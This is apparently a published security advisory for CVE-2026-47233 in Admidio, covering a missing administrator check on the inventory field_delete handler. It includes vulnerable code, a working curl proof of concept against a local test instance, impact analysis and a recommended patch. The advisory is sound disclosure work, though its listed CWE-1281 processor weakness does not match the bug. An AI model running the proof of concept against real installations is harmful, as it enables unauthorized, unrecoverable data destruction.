GHSA-xw54-c3mx-9pm3 CVE-2026-47233
Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 24.03% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1281 Sequence of Processor Instructions Leads to Unexpected Behavior
- CWE-862 Missing Authorization
- Fix
5.0.10- Upgrade admidio/admidio to this version or later
Description
Summary
Commit d37ca6b27b9674238e58491cf7ba292e66898f15 ("Delete item not check admin rights #2024", 2026-04-12) added a missing isAdministratorInventory() gate to case 'item_delete': in modules/inventory.php. The same fix was not applied to the sibling case 'field_delete': handler, which destroys an entire inventory field definition, cascading to every adm_inventory_item_data row that referenced that field and every adm_inventory_field_options entry. The handler validates only a session-bound CSRF token; there is no isAdministratorInventory() check at the controller level, and Admidio\Inventory\Entity\ItemField::delete() does not enforce one at the entity level either (unlike its sibling ItemField::save(), which does check $gCurrentUser->isAdministrator()). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.
Details
Vulnerable Code
modules/inventory.php mode dispatch at the top of the file:
// modules/inventory.php:64-72 (top-level rights gate)
if ($gSettingsManager->getInt('inventory_module_enabled') === 0) {
throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('inventory_module_enabled') === 2 && !$gValidLogin
|| ($gSettingsManager->getInt('inventory_module_enabled') === 3 && !$gCurrentUser->isAdministratorInventory())
|| ($gSettingsManager->getInt('inventory_module_enabled') === 4 && !InventoryPresenter::isCurrentUserKeeper() && !$gCurrentUser->isAdministratorInventory())
|| ($gSettingsManager->getInt('inventory_module_enabled') === 5 && !$gCurrentUser->isAllowedToSeeInventory() && !$gCurrentUser->isAdministratorInventory())) {
throw new Exception('SYS_NO_RIGHTS');
}
inventory_module_enabled=2 is the default value (install/db_scripts/preferences.php: 'inventory_module_enabled' => '2',). At this setting the only gate is $gValidLogin — any logged-in user reaches the switch.
modules/inventory.php:123-131 — field_delete only checks the session CSRF, not admin rights:
case 'field_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$itemFieldService = new ItemFieldService($gDb, $getinfUUID);
$itemFieldService->delete();
echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));
break;
SecurityUtils::validateCsrfToken (src/Infrastructure/Utils/SecurityUtils.php) is a session-token compare:
public static function validateCsrfToken(string $csrfToken)
{
global $gCurrentSession;
if ($csrfToken !== $gCurrentSession->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
}
The token is the session's CSRF token, which the actor's own session prints on every page (it appears in ?mode=field_list's response in the data-csrf JSON callback). So a non-admin attacker has it for free.
src/Inventory/Service/ItemFieldService.php:46-49 — the service just delegates:
public function delete(): bool
{
return $this->itemFieldRessource->delete();
}
src/Inventory/Entity/ItemField.php:54-88 — the entity's delete() blocks system fields via inf_system==1 but otherwise has no isAdministrator() check:
public function delete(): bool
{
global $gCurrentOrgId;
if ($this->getValue('inf_system') == 1) {
// System fields could not be deleted
throw new Exception('Item fields with the flag "system" could not be deleted.');
}
$this->db->startTransaction();
// close gap in sequence
$sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . ' SET inf_sequence = inf_sequence - 1 ...';
$this->db->queryPrepared($sql, ...);
// delete all data of this field in the item data table
$sql = 'DELETE FROM ' . TBL_INVENTORY_ITEM_DATA . ' WHERE ind_inf_id = ? -- $infId';
$this->db->queryPrepared($sql, array($infId));
// delete all data of this field in the field select options table
$sql = 'DELETE FROM ' . TBL_INVENTORY_FIELD_OPTIONS . ' WHERE ifo_inf_id = ? -- $infId';
$this->db->queryPrepared($sql, array($infId));
$return = parent::delete(); // DELETE FROM adm_inventory_fields WHERE inf_id = ?
$this->db->endTransaction();
return $return;
}
Compare with ItemField::save() at line 230, which does enforce admin:
public function save(bool $updateFingerPrint = true): bool
{
global $gCurrentUser, $gCurrentOrgId;
// only administrators can edit item fields
if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {
throw new Exception('Item field could not be saved because only administrators are allowed to edit item fields.');
}
...
}
The asymmetry is the bug: save is gated, delete is not.
Sibling Handlers with the Same Shape
Six other state-changing modes in the same file have the same "CSRF only, no isAdministratorInventory() check" structure. They are not the subject of this advisory but should be patched together when fixing the root cause:
| line | mode | effect |
|---|---|---|
| 123 | field_delete |
this advisory |
| 154 | delete_option_entry |
removes a single option from a dropdown / radio field |
| 171 | sequence |
reorders fields |
| 347 | item_retire |
hides items from the active inventory |
| 364 | item_reinstate |
un-hides items |
| 462 | item_picture_delete |
deletes an item picture |
Each of these is reachable by any logged-in user under the default inventory_module_enabled=2.
PoC
Tested live on HEAD c5cde53 with PHP 8.4, MariaDB 11.8 backing on 127.0.0.1:3399, Admidio served via php -S 127.0.0.1:8085. inventory_module_enabled=2 (default install).
A non-administrator user lowuser was created via the admin UI and given only the default Member role. The user has no isAdministratorInventory() right and is not configured as a keeper. A non-system test field TESTFIELD (uuid cccccccc-2222-3333-4444-deadbeefcafe) was created via SQL, with inf_system=0.
# starting state: lowuser is a regular Member; TESTFIELD exists
$ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';"
inf_id inf_uuid inf_name_intern inf_system
8 cccccccc-2222-3333-4444-deadbeefcafe TESTFIELD 0
# 1. login as lowuser
$ curl -sb $cookie -L "http://127.0.0.1:8085/" -o /tmp/init.html
$ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/init.html | head -1 | sed 's/.*value="//')
$ curl -sb $cookie \
--data-urlencode "adm_csrf_token=$csrf" \
--data-urlencode "plg_usr_login_name=lowuser" \
--data-urlencode "plg_usr_password=Lowpwd123!" \
"http://127.0.0.1:8085/system/login.php?mode=check"
{"status":"success","url":"http://127.0.0.1:8085/modules/overview.php"}
# 2. lowuser visits inventory's field_list page (this works under default
# inventory_module_enabled=2 because $gValidLogin is true)
# The response contains the session CSRF token in a data callback
$ inv_csrf=$(curl -sb $cookie "http://127.0.0.1:8085/modules/inventory.php?mode=field_list" \
| grep -oE '"adm_csrf_token":\s*"[^"]+"' | head -1 \
| sed 's/.*"adm_csrf_token":\s*"//;s/"$//')
# 3. lowuser sends field_delete targeting TESTFIELD
$ curl -sb $cookie -X POST \
--data-urlencode "adm_csrf_token=$inv_csrf" \
"http://127.0.0.1:8085/modules/inventory.php?mode=field_delete&uuid=cccccccc-2222-3333-4444-deadbeefcafe"
{"status":"success","message":"Item field successfully deleted"}
# 4. verify
$ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';"
(no rows)
The field is gone. Admidio\Inventory\Entity\ItemField::delete() ran the four statements (sequence-gap update, DELETE FROM adm_inventory_item_data, DELETE FROM adm_inventory_field_options, DELETE FROM adm_inventory_fields) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field's creator.
Impact
A non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:
- Every per-item value stored against that field across the whole organisation is wiped (
DELETE FROM adm_inventory_item_data WHERE ind_inf_id = <field>). - For dropdown / radio / multiselect fields, every option entry is wiped (
DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = <field>). - The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.
- There is no in-product undo. Recovery requires restoring from backup.
In practice, a single attacker with one rogue regular-member account can iterate field_list to enumerate non-system fields and delete all of them in a few requests. The inventory module's stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.
PR:L because any logged-in member is enough; S:U because the impact stays inside Admidio's own data; C:N because the operation does not leak data; I:H because the field row plus all referencing rows are destroyed; A:H because the inventory module's user-defined schema is lost.
The bug is a classic incomplete fix: commit d37ca6b patched the literal endpoint named in issue #2024 (item_delete) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit 12639a4 ("CSRF and Form Validation Bypass in Inventory Item Save via 'imported' Parameter") on item_save, again only on the literal reported endpoint.
Recommended Fix
Add an explicit isAdministratorInventory() check at the top of case 'field_delete': (and the sibling state-changing handlers listed above), matching the pattern that was applied to item_delete in d37ca6b:
// modules/inventory.php
case 'field_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
// check if user has admin rights for inventory <-- new
if (!$gCurrentUser->isAdministratorInventory()) {
throw new Exception('SYS_NO_RIGHTS');
}
$itemFieldService = new ItemFieldService($gDb, $getinfUUID);
$itemFieldService->delete();
echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));
break;
Apply the same patch to delete_option_entry (line 154), sequence (line 171), item_retire (line 347), item_reinstate (line 364), and item_picture_delete (line 462).
For defense in depth, mirror the entity-level gate from ItemField::save() into ItemField::delete() at src/Inventory/Entity/ItemField.php:54:
public function delete(): bool
{
global $gCurrentUser, $gCurrentOrgId;
if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {
throw new Exception('Item field could not be deleted because only administrators are allowed to delete item fields.');
}
if ($this->getValue('inf_system') == 1) {
throw new Exception('Item fields with the flag "system" could not be deleted.');
}
...
}
A regression test should log in as a non-administrator member, GET inventory.php?mode=field_list, post mode=field_delete with the captured session CSRF token, and assert the response is SYS_NO_RIGHTS rather than success.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | < 5.0.10 |
5.0.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.10
- composer
composer require admidio/admidio:^5.0.10
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior
Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.
How to prevent it
- Testing: Implement a rigorous testing strategy that incorporates randomization to explore instruction sequences that are unlikely to appear in normal workloads in order to identify halt and catch fire instruction sequences.
- Patching and Maintenance: Patch operating system to avoid running Halt and Catch Fire type sequences or to mitigate the damage caused by unexpected behavior. See [REF-1108].
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-4rgq-38mh-9xqg Admidio PKCS#12 private key export action lacks CSRF protection | Medium | Also affects admidio/admidio |
| GHSA-x628-457g-2pw9 Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders | High | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-xg76-5qj2-2hhv Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation | Medium | Also affects admidio/admidio |
| GHSA-mx25-j3rc-6w2w Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords | Medium | Also affects admidio/admidio |
| GHSA-rwjr-qjj3-mq2f Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php` | Medium | Also affects admidio/admidio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor